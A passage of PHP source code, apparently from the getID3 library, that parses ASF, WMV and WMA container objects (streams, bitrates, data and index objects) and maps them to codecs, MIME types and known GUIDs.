$thisfile_asf_paddingobject['objectsize'] = $NextObjectSize; $thisfile_asf_paddingobject['padding_length'] = $thisfile_asf_paddingobject['objectsize'] - 16 - 8; $thisfile_asf_paddingobject['padding'] = substr($ASFHeaderData, $offset, $thisfile_asf_paddingobject['padding_length']); $offset += ($NextObjectSize - 16 - 8); break; case GETID3_ASF_Extended_Content_Encryption_Object: case GETID3_ASF_Content_Encryption_Object: // WMA DRM - just ignore $offset += ($NextObjectSize - 16 - 8); break; default: // Implementations shall ignore any standard or non-standard object that they do not know how to handle. if ($this->GUIDname($NextObjectGUIDtext)) { $this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8)); } else { $this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8)); } $offset += ($NextObjectSize - 16 - 8); break; } } if (isset($thisfile_asf_streambitratepropertiesobject['bitrate_records_count'])) { $ASFbitrateAudio = 0; $ASFbitrateVideo = 0; for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) { if (isset($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter])) { switch ($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter]['type_raw']) { case 1: $ASFbitrateVideo += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate']; break; case 2: $ASFbitrateAudio += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate']; break; default: // do nothing break; } } } if ($ASFbitrateAudio > 0) { $thisfile_audio['bitrate'] = $ASFbitrateAudio; } if ($ASFbitrateVideo > 0) { $thisfile_video['bitrate'] = $ASFbitrateVideo; } } if (isset($thisfile_asf['stream_properties_object']) && is_array($thisfile_asf['stream_properties_object'])) { $thisfile_audio['bitrate'] = 0; $thisfile_video['bitrate'] = 0; foreach ($thisfile_asf['stream_properties_object'] as $streamnumber => $streamdata) { switch ($streamdata['stream_type']) { case GETID3_ASF_Audio_Media: // Field Name Field Type Size (bits) // Codec ID / Format Tag WORD 16 // unique ID of audio codec - defined as wFormatTag field of WAVEFORMATEX structure // Number of Channels WORD 16 // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure // Samples Per Second DWORD 32 // in Hertz - defined as nSamplesPerSec field of WAVEFORMATEX structure // Average number of Bytes/sec DWORD 32 // bytes/sec of audio stream - defined as nAvgBytesPerSec field of WAVEFORMATEX structure // Block Alignment WORD 16 // block size in bytes of audio codec - defined as nBlockAlign field of WAVEFORMATEX structure // Bits per sample WORD 16 // bits per sample of mono data. set to zero for variable bitrate codecs. defined as wBitsPerSample field of WAVEFORMATEX structure // Codec Specific Data Size WORD 16 // size in bytes of Codec Specific Data buffer - defined as cbSize field of WAVEFORMATEX structure // Codec Specific Data BYTESTREAM variable // array of codec-specific data bytes // shortcut $thisfile_asf['audio_media'][$streamnumber] = array(); $thisfile_asf_audiomedia_currentstream = &$thisfile_asf['audio_media'][$streamnumber]; $audiomediaoffset = 0; $thisfile_asf_audiomedia_currentstream = getid3_riff::parseWAVEFORMATex(substr($streamdata['type_specific_data'], $audiomediaoffset, 16)); $audiomediaoffset += 16; $thisfile_audio['lossless'] = false; switch ($thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']) { case 0x0001: // PCM case 0x0163: // WMA9 Lossless $thisfile_audio['lossless'] = true; break; } if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { // @phpstan-ignore-line foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) { if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) { $thisfile_asf_audiomedia_currentstream['bitrate'] = $dataarray['bitrate']; $thisfile_audio['bitrate'] += $dataarray['bitrate']; break; } } } else { if (!empty($thisfile_asf_audiomedia_currentstream['bytes_sec'])) { $thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bytes_sec'] * 8; } elseif (!empty($thisfile_asf_audiomedia_currentstream['bitrate'])) { $thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bitrate']; } } $thisfile_audio['streams'][$streamnumber] = $thisfile_asf_audiomedia_currentstream; $thisfile_audio['streams'][$streamnumber]['wformattag'] = $thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']; $thisfile_audio['streams'][$streamnumber]['lossless'] = $thisfile_audio['lossless']; $thisfile_audio['streams'][$streamnumber]['bitrate'] = $thisfile_audio['bitrate']; $thisfile_audio['streams'][$streamnumber]['dataformat'] = 'wma'; unset($thisfile_audio['streams'][$streamnumber]['raw']); $thisfile_asf_audiomedia_currentstream['codec_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $audiomediaoffset, 2)); $audiomediaoffset += 2; $thisfile_asf_audiomedia_currentstream['codec_data'] = substr($streamdata['type_specific_data'], $audiomediaoffset, $thisfile_asf_audiomedia_currentstream['codec_data_size']); $audiomediaoffset += $thisfile_asf_audiomedia_currentstream['codec_data_size']; break; case GETID3_ASF_Video_Media: // Field Name Field Type Size (bits) // Encoded Image Width DWORD 32 // width of image in pixels // Encoded Image Height DWORD 32 // height of image in pixels // Reserved Flags BYTE 8 // hardcoded: 0x02 // Format Data Size WORD 16 // size of Format Data field in bytes // Format Data array of: variable // // * Format Data Size DWORD 32 // number of bytes in Format Data field, in bytes - defined as biSize field of BITMAPINFOHEADER structure // * Image Width LONG 32 // width of encoded image in pixels - defined as biWidth field of BITMAPINFOHEADER structure // * Image Height LONG 32 // height of encoded image in pixels - defined as biHeight field of BITMAPINFOHEADER structure // * Reserved WORD 16 // hardcoded: 0x0001 - defined as biPlanes field of BITMAPINFOHEADER structure // * Bits Per Pixel Count WORD 16 // bits per pixel - defined as biBitCount field of BITMAPINFOHEADER structure // * Compression ID FOURCC 32 // fourcc of video codec - defined as biCompression field of BITMAPINFOHEADER structure // * Image Size DWORD 32 // image size in bytes - defined as biSizeImage field of BITMAPINFOHEADER structure // * Horizontal Pixels / Meter DWORD 32 // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure // * Vertical Pixels / Meter DWORD 32 // vertical resolution of target device in pixels per meter - defined as biYPelsPerMeter field of BITMAPINFOHEADER structure // * Colors Used Count DWORD 32 // number of color indexes in the color table that are actually used - defined as biClrUsed field of BITMAPINFOHEADER structure // * Important Colors Count DWORD 32 // number of color index required for displaying bitmap. if zero, all colors are required. defined as biClrImportant field of BITMAPINFOHEADER structure // * Codec Specific Data BYTESTREAM variable // array of codec-specific data bytes // shortcut $thisfile_asf['video_media'][$streamnumber] = array(); $thisfile_asf_videomedia_currentstream = &$thisfile_asf['video_media'][$streamnumber]; $videomediaoffset = 0; $thisfile_asf_videomedia_currentstream['image_width'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['image_height'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['flags'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 1)); $videomediaoffset += 1; $thisfile_asf_videomedia_currentstream['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); $videomediaoffset += 2; $thisfile_asf_videomedia_currentstream['format_data']['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['image_width'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['image_height'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['reserved'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); $videomediaoffset += 2; $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); $videomediaoffset += 2; $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc'] = substr($streamdata['type_specific_data'], $videomediaoffset, 4); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['image_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['horizontal_pels'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['vertical_pels'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['colors_used'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['colors_important'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); $videomediaoffset += 4; $thisfile_asf_videomedia_currentstream['format_data']['codec_data'] = substr($streamdata['type_specific_data'], $videomediaoffset); if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { // @phpstan-ignore-line foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) { if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) { $thisfile_asf_videomedia_currentstream['bitrate'] = $dataarray['bitrate']; $thisfile_video['streams'][$streamnumber]['bitrate'] = $dataarray['bitrate']; $thisfile_video['bitrate'] += $dataarray['bitrate']; break; } } } $thisfile_asf_videomedia_currentstream['format_data']['codec'] = getid3_riff::fourccLookup($thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']); $thisfile_video['streams'][$streamnumber]['fourcc'] = $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']; $thisfile_video['streams'][$streamnumber]['codec'] = $thisfile_asf_videomedia_currentstream['format_data']['codec']; $thisfile_video['streams'][$streamnumber]['resolution_x'] = $thisfile_asf_videomedia_currentstream['image_width']; $thisfile_video['streams'][$streamnumber]['resolution_y'] = $thisfile_asf_videomedia_currentstream['image_height']; $thisfile_video['streams'][$streamnumber]['bits_per_sample'] = $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel']; break; default: break; } } } while ($this->ftell() < $info['avdataend']) { $NextObjectDataHeader = $this->fread(24); $offset = 0; $NextObjectGUID = substr($NextObjectDataHeader, 0, 16); $offset += 16; $NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID); $NextObjectSize = getid3_lib::LittleEndian2Int(substr($NextObjectDataHeader, $offset, 8)); $offset += 8; switch ($NextObjectGUID) { case GETID3_ASF_Data_Object: // Data Object: (mandatory, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Data object - GETID3_ASF_Data_Object // Object Size QWORD 64 // size of Data object, including 50 bytes of Data Object header. may be 0 if FilePropertiesObject.BroadcastFlag == 1 // File ID GUID 128 // unique identifier. identical to File ID field in Header Object // Total Data Packets QWORD 64 // number of Data Packet entries in Data Object. invalid if FilePropertiesObject.BroadcastFlag == 1 // Reserved WORD 16 // hardcoded: 0x0101 // shortcut $thisfile_asf['data_object'] = array(); $thisfile_asf_dataobject = &$thisfile_asf['data_object']; $DataObjectData = $NextObjectDataHeader.$this->fread(50 - 24); $offset = 24; $thisfile_asf_dataobject['objectid'] = $NextObjectGUID; $thisfile_asf_dataobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_dataobject['objectsize'] = $NextObjectSize; $thisfile_asf_dataobject['fileid'] = substr($DataObjectData, $offset, 16); $offset += 16; $thisfile_asf_dataobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_dataobject['fileid']); $thisfile_asf_dataobject['total_data_packets'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 8)); $offset += 8; $thisfile_asf_dataobject['reserved'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 2)); $offset += 2; if ($thisfile_asf_dataobject['reserved'] != 0x0101) { $this->warning('data_object.reserved (0x'.sprintf('%04X', $thisfile_asf_dataobject['reserved']).') does not match expected value of "0x0101"'); //return false; break; } // Data Packets array of: variable // // * Error Correction Flags BYTE 8 // // * * Error Correction Data Length bits 4 // if Error Correction Length Type == 00, size of Error Correction Data in bytes, else hardcoded: 0000 // * * Opaque Data Present bits 1 // // * * Error Correction Length Type bits 2 // number of bits for size of the error correction data. hardcoded: 00 // * * Error Correction Present bits 1 // If set, use Opaque Data Packet structure, else use Payload structure // * Error Correction Data $info['avdataoffset'] = $this->ftell(); $this->fseek(($thisfile_asf_dataobject['objectsize'] - 50), SEEK_CUR); // skip actual audio/video data $info['avdataend'] = $this->ftell(); break; case GETID3_ASF_Simple_Index_Object: // Simple Index Object: (optional, recommended, one per video stream) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Simple Index object - GETID3_ASF_Data_Object // Object Size QWORD 64 // size of Simple Index object, including 56 bytes of Simple Index Object header // File ID GUID 128 // unique identifier. may be zero or identical to File ID field in Data Object and Header Object // Index Entry Time Interval QWORD 64 // interval between index entries in 100-nanosecond units // Maximum Packet Count DWORD 32 // maximum packet count for all index entries // Index Entries Count DWORD 32 // number of Index Entries structures // Index Entries array of: variable // // * Packet Number DWORD 32 // number of the Data Packet associated with this index entry // * Packet Count WORD 16 // number of Data Packets to sent at this index entry // shortcut $thisfile_asf['simple_index_object'] = array(); $thisfile_asf_simpleindexobject = &$thisfile_asf['simple_index_object']; $SimpleIndexObjectData = $NextObjectDataHeader.$this->fread(56 - 24); $offset = 24; $thisfile_asf_simpleindexobject['objectid'] = $NextObjectGUID; $thisfile_asf_simpleindexobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_simpleindexobject['objectsize'] = $NextObjectSize; $thisfile_asf_simpleindexobject['fileid'] = substr($SimpleIndexObjectData, $offset, 16); $offset += 16; $thisfile_asf_simpleindexobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_simpleindexobject['fileid']); $thisfile_asf_simpleindexobject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 8)); $offset += 8; $thisfile_asf_simpleindexobject['maximum_packet_count'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4)); $offset += 4; $thisfile_asf_simpleindexobject['index_entries_count'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4)); $offset += 4; $IndexEntriesData = $SimpleIndexObjectData.$this->fread(6 * $thisfile_asf_simpleindexobject['index_entries_count']); for ($IndexEntriesCounter = 0; $IndexEntriesCounter < $thisfile_asf_simpleindexobject['index_entries_count']; $IndexEntriesCounter++) { $thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_number'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4)); $offset += 4; $thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_count'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4)); $offset += 2; } break; case GETID3_ASF_Index_Object: // 6.2 ASF top-level Index Object (optional but recommended when appropriate, 0 or 1) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for the Index Object - GETID3_ASF_Index_Object // Object Size QWORD 64 // Specifies the size, in bytes, of the Index Object, including at least 34 bytes of Index Object header // Index Entry Time Interval DWORD 32 // Specifies the time interval between each index entry in ms. // Index Specifiers Count WORD 16 // Specifies the number of Index Specifiers structures in this Index Object. // Index Blocks Count DWORD 32 // Specifies the number of Index Blocks structures in this Index Object. // Index Entry Time Interval DWORD 32 // Specifies the time interval between index entries in milliseconds. This value cannot be 0. // Index Specifiers Count WORD 16 // Specifies the number of entries in the Index Specifiers list. Valid values are 1 and greater. // Index Specifiers array of: varies // // * Stream Number WORD 16 // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127. // * Index Type WORD 16 // Specifies Index Type values as follows: // 1 = Nearest Past Data Packet - indexes point to the data packet whose presentation time is closest to the index entry time. // 2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire object or first fragment of an object. // 3 = Nearest Past Cleanpoint. - indexes point to the closest data packet containing an entire object (or first fragment of an object) that has the Cleanpoint Flag set. // Nearest Past Cleanpoint is the most common type of index. // Index Entry Count DWORD 32 // Specifies the number of Index Entries in the block. // * Block Positions QWORD varies // Specifies a list of byte offsets of the beginnings of the blocks relative to the beginning of the first Data Packet (i.e., the beginning of the Data Object + 50 bytes). The number of entries in this list is specified by the value of the Index Specifiers Count field. The order of those byte offsets is tied to the order in which Index Specifiers are listed. // * Index Entries array of: varies // // * * Offsets DWORD varies // An offset value of 0xffffffff indicates an invalid offset value // shortcut $thisfile_asf['asf_index_object'] = array(); $thisfile_asf_asfindexobject = &$thisfile_asf['asf_index_object']; $ASFIndexObjectData = $NextObjectDataHeader.$this->fread(34 - 24); $offset = 24; $thisfile_asf_asfindexobject['objectid'] = $NextObjectGUID; $thisfile_asf_asfindexobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_asfindexobject['objectsize'] = $NextObjectSize; $thisfile_asf_asfindexobject['entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); $offset += 4; $thisfile_asf_asfindexobject['index_specifiers_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); $offset += 2; $thisfile_asf_asfindexobject['index_blocks_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); $offset += 4; $ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count']); for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { $IndexSpecifierStreamNumber = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); $offset += 2; $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['stream_number'] = $IndexSpecifierStreamNumber; $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); $offset += 2; $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type_text'] = $this->ASFIndexObjectIndexTypeLookup($thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']); } $ASFIndexObjectData .= $this->fread(4); $thisfile_asf_asfindexobject['index_entry_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); $offset += 4; $ASFIndexObjectData .= $this->fread(8 * $thisfile_asf_asfindexobject['index_specifiers_count']); for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { $thisfile_asf_asfindexobject['block_positions'][$IndexSpecifiersCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 8)); $offset += 8; } $ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count'] * $thisfile_asf_asfindexobject['index_entry_count']); for ($IndexEntryCounter = 0; $IndexEntryCounter < $thisfile_asf_asfindexobject['index_entry_count']; $IndexEntryCounter++) { for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { $thisfile_asf_asfindexobject['offsets'][$IndexSpecifiersCounter][$IndexEntryCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); $offset += 4; } } break; default: // Implementations shall ignore any standard or non-standard object that they do not know how to handle. if ($this->GUIDname($NextObjectGUIDtext)) { $this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF body at offset '.($offset - 16 - 8)); } else { $this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF body at offset '.($this->ftell() - 16 - 8)); } $this->fseek(($NextObjectSize - 16 - 8), SEEK_CUR); break; } } if (isset($thisfile_asf_codeclistobject['codec_entries']) && is_array($thisfile_asf_codeclistobject['codec_entries'])) { foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) { switch ($streamdata['information']) { case 'WMV1': case 'WMV2': case 'WMV3': case 'MSS1': case 'MSS2': case 'WMVA': case 'WVC1': case 'WMVP': case 'WVP2': $thisfile_video['dataformat'] = 'wmv'; $info['mime_type'] = 'video/x-ms-wmv'; break; case 'MP42': case 'MP43': case 'MP4S': case 'mp4s': $thisfile_video['dataformat'] = 'asf'; $info['mime_type'] = 'video/x-ms-asf'; break; default: switch ($streamdata['type_raw']) { case 1: if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) { $thisfile_video['dataformat'] = 'wmv'; if ($info['mime_type'] == 'video/x-ms-asf') { $info['mime_type'] = 'video/x-ms-wmv'; } } break; case 2: if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) { $thisfile_audio['dataformat'] = 'wma'; if ($info['mime_type'] == 'video/x-ms-asf') { $info['mime_type'] = 'audio/x-ms-wma'; } } break; } break; } } } switch (isset($thisfile_audio['codec']) ? $thisfile_audio['codec'] : '') { case 'MPEG Layer-3': $thisfile_audio['dataformat'] = 'mp3'; break; default: break; } if (isset($thisfile_asf_codeclistobject['codec_entries'])) { foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) { switch ($streamdata['type_raw']) { case 1: // video $thisfile_video['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']); break; case 2: // audio $thisfile_audio['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']); // AH 2003-10-01 $thisfile_audio['encoder_options'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][0]['description']); $thisfile_audio['codec'] = $thisfile_audio['encoder']; break; default: $this->warning('Unknown streamtype: [codec_list_object][codec_entries]['.$streamnumber.'][type_raw] == '.$streamdata['type_raw']); break; } } } if (isset($info['audio'])) { $thisfile_audio['lossless'] = (isset($thisfile_audio['lossless']) ? $thisfile_audio['lossless'] : false); $thisfile_audio['dataformat'] = (!empty($thisfile_audio['dataformat']) ? $thisfile_audio['dataformat'] : 'asf'); } if (!empty($thisfile_video['dataformat'])) { $thisfile_video['lossless'] = (isset($thisfile_audio['lossless']) ? $thisfile_audio['lossless'] : false); $thisfile_video['pixel_aspect_ratio'] = (isset($thisfile_audio['pixel_aspect_ratio']) ? $thisfile_audio['pixel_aspect_ratio'] : (float) 1); $thisfile_video['dataformat'] = (!empty($thisfile_video['dataformat']) ? $thisfile_video['dataformat'] : 'asf'); } if (!empty($thisfile_video['streams'])) { $thisfile_video['resolution_x'] = 0; $thisfile_video['resolution_y'] = 0; foreach ($thisfile_video['streams'] as $key => $valuearray) { if (($valuearray['resolution_x'] > $thisfile_video['resolution_x']) || ($valuearray['resolution_y'] > $thisfile_video['resolution_y'])) { $thisfile_video['resolution_x'] = $valuearray['resolution_x']; $thisfile_video['resolution_y'] = $valuearray['resolution_y']; } } } $info['bitrate'] = 0 + (isset($thisfile_audio['bitrate']) ? $thisfile_audio['bitrate'] : 0) + (isset($thisfile_video['bitrate']) ? $thisfile_video['bitrate'] : 0); if ((!isset($info['playtime_seconds']) || ($info['playtime_seconds'] <= 0)) && ($info['bitrate'] > 0)) { $info['playtime_seconds'] = ($info['filesize'] - $info['avdataoffset']) / ($info['bitrate'] / 8); } return true; } /** * @param int $CodecListType * * @return string */ public static function codecListObjectTypeLookup($CodecListType) { static $lookup = array( 0x0001 => 'Video Codec', 0x0002 => 'Audio Codec', 0xFFFF => 'Unknown Codec' ); return (isset($lookup[$CodecListType]) ? $lookup[$CodecListType] : 'Invalid Codec Type'); } /** * @return array */ public static function KnownGUIDs() { static $GUIDarray = array( 'GETID3_ASF_Extended_Stream_Properties_Object' => '14E6A5CB-C672-4332-8399-A96952065B5A', 'GETID3_ASF_Padding_Object' => '1806D474-CADF-4509-A4BA-9AABCB96AAE8', 'GETID3_ASF_Payload_Ext_Syst_Pixel_Aspect_Ratio' => '1B1EE554-F9EA-4BC8-821A-376B74E4C4B8', 'GETID3_ASF_Script_Command_Object' => '1EFB1A30-0B62-11D0-A39B-00A0C90348F6', 'GETID3_ASF_No_Error_Correction' => '20FB5700-5B55-11CF-A8FD-00805F5C442B', 'GETID3_ASF_Content_Branding_Object' => '2211B3FA-BD23-11D2-B4B7-00A0C955FC6E', 'GETID3_ASF_Content_Encryption_Object' => '2211B3FB-BD23-11D2-B4B7-00A0C955FC6E', 'GETID3_ASF_Digital_Signature_Object' => '2211B3FC-BD23-11D2-B4B7-00A0C955FC6E', 'GETID3_ASF_Extended_Content_Encryption_Object' => '298AE614-2622-4C17-B935-DAE07EE9289C', 'GETID3_ASF_Simple_Index_Object' => '33000890-E5B1-11CF-89F4-00A0C90349CB', 'GETID3_ASF_Degradable_JPEG_Media' => '35907DE0-E415-11CF-A917-00805F5C442B', 'GETID3_ASF_Payload_Extension_System_Timecode' => '399595EC-8667-4E2D-8FDB-98814CE76C1E', 'GETID3_ASF_Binary_Media' => '3AFB65E2-47EF-40F2-AC2C-70A90D71D343', 'GETID3_ASF_Timecode_Index_Object' => '3CB73FD0-0C4A-4803-953D-EDF7B6228F0C', 'GETID3_ASF_Metadata_Library_Object' => '44231C94-9498-49D1-A141-1D134E457054', 'GETID3_ASF_Reserved_3' => '4B1ACBE3-100B-11D0-A39B-00A0C90348F6', 'GETID3_ASF_Reserved_4' => '4CFEDB20-75F6-11CF-9C0F-00A0C90349CB', 'GETID3_ASF_Command_Media' => '59DACFC0-59E6-11D0-A3AC-00A0C90348F6', 'GETID3_ASF_Header_Extension_Object' => '5FBF03B5-A92E-11CF-8EE3-00C00C205365', 'GETID3_ASF_Media_Object_Index_Parameters_Obj' => '6B203BAD-3F11-4E84-ACA8-D7613DE2CFA7', 'GETID3_ASF_Header_Object' => '75B22630-668E-11CF-A6D9-00AA0062CE6C', 'GETID3_ASF_Content_Description_Object' => '75B22633-668E-11CF-A6D9-00AA0062CE6C', 'GETID3_ASF_Error_Correction_Object' => '75B22635-668E-11CF-A6D9-00AA0062CE6C', 'GETID3_ASF_Data_Object' => '75B22636-668E-11CF-A6D9-00AA0062CE6C', 'GETID3_ASF_Web_Stream_Media_Subtype' => '776257D4-C627-41CB-8F81-7AC7FF1C40CC', 'GETID3_ASF_Stream_Bitrate_Properties_Object' => '7BF875CE-468D-11D1-8D82-006097C9A2B2', 'GETID3_ASF_Language_List_Object' => '7C4346A9-EFE0-4BFC-B229-393EDE415C85', 'GETID3_ASF_Codec_List_Object' => '86D15240-311D-11D0-A3A4-00A0C90348F6', 'GETID3_ASF_Reserved_2' => '86D15241-311D-11D0-A3A4-00A0C90348F6', 'GETID3_ASF_File_Properties_Object' => '8CABDCA1-A947-11CF-8EE4-00C00C205365', 'GETID3_ASF_File_Transfer_Media' => '91BD222C-F21C-497A-8B6D-5AA86BFC0185', 'GETID3_ASF_Old_RTP_Extension_Data' => '96800C63-4C94-11D1-837B-0080C7A37F95', 'GETID3_ASF_Advanced_Mutual_Exclusion_Object' => 'A08649CF-4775-4670-8A16-6E35357566CD', 'GETID3_ASF_Bandwidth_Sharing_Object' => 'A69609E6-517B-11D2-B6AF-00C04FD908E9', 'GETID3_ASF_Reserved_1' => 'ABD3D211-A9BA-11cf-8EE6-00C00C205365', 'GETID3_ASF_Bandwidth_Sharing_Exclusive' => 'AF6060AA-5197-11D2-B6AF-00C04FD908E9', 'GETID3_ASF_Bandwidth_Sharing_Partial' => 'AF6060AB-5197-11D2-B6AF-00C04FD908E9', 'GETID3_ASF_JFIF_Media' => 'B61BE100-5B4E-11CF-A8FD-00805F5C442B', 'GETID3_ASF_Stream_Properties_Object' => 'B7DC0791-A9B7-11CF-8EE6-00C00C205365', 'GETID3_ASF_Video_Media' => 'BC19EFC0-5B4D-11CF-A8FD-00805F5C442B', 'GETID3_ASF_Audio_Spread' => 'BFC3CD50-618F-11CF-8BB2-00AA00B4E220', 'GETID3_ASF_Metadata_Object' => 'C5F8CBEA-5BAF-4877-8467-AA8C44FA4CCA', 'GETID3_ASF_Payload_Ext_Syst_Sample_Duration' => 'C6BD9450-867F-4907-83A3-C77921B733AD', 'GETID3_ASF_Group_Mutual_Exclusion_Object' => 'D1465A40-5A79-4338-B71B-E36B8FD6C249', 'GETID3_ASF_Extended_Content_Description_Object' => 'D2D0A440-E307-11D2-97F0-00A0C95EA850', 'GETID3_ASF_Stream_Prioritization_Object' => 'D4FED15B-88D3-454F-81F0-ED5C45999E24', 'GETID3_ASF_Payload_Ext_System_Content_Type' => 'D590DC20-07BC-436C-9CF7-F3BBFBF1A4DC', 'GETID3_ASF_Old_File_Properties_Object' => 'D6E229D0-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_ASF_Header_Object' => 'D6E229D1-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Old_ASF_Data_Object' => 'D6E229D2-35DA-11D1-9034-00A0C90349BE', 'GETID3_ASF_Index_Object' => 